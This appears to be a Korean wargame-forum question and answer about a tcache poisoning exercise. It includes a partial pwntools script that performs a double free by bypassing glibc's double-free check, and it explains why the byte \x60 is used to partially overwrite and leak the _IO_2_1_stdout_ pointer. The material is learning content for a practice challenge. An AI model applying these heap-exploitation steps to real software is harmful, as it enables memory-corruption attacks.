\x60의 의미

전부 이해는 했는데 하나가 걸리네요. tcache poisonning 문제에서 _IO_2_1_stdout_주소 구하려고 \x60으로 릭하는데 \x60의 의미는 무엇인가요?

from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
def free():
    p.sendlineafter("Edit\n", "2")
def print_chunk():
    p.sendlineafter("Edit\n", "3")
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")
p.interactive()
#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

기존의 stdout값의 마지막 값 입니다.

강의에 자세히 설명되어있는데 입출력 함수가 변조되면 오작동하기에 원래 값으로 덮어주는 역할을 합니다.

우리는 릭만 필요하니까요.

2023.02.02. 06:05
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기